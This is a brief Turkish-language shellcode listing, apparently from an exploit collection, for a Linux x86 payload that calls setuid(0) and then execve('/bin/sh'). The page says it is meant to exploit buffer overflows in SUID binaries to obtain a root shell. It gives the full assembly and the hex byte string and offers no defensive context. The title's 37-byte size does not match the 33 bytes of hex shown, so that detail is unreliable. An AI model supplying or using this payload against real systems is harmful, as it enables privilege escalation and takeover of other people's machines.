Klasik Shellcode - Linux x86 - 37 Bytes

Linux/x86 setuid(0) + execve(/bin/sh) - 37 Bytes

SUID biti set edilmis binary'lerdeki buffer overflow zafiyetlerini somürmek icin tasarlanmis klasik shellcode. Once setuid(0) ile kullanici ID'sini root'a ceker, ardindan kabuk acar.

Assembly

; setuid(0) xor ebx, ebx ; uid = 0 xor eax, eax mov al, 0x17 ; syscall 23 = setuid int 0x80 ; execve xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp push eax push ebx mov ecx, esp xor edx, edx mov al, 0x0b ; syscall 11 = execve int 0x80

Hex

\x31\xdb\x31\xc0\xb0\x17\xcd\x80 \x31\xc0\x50\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\x50 \x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80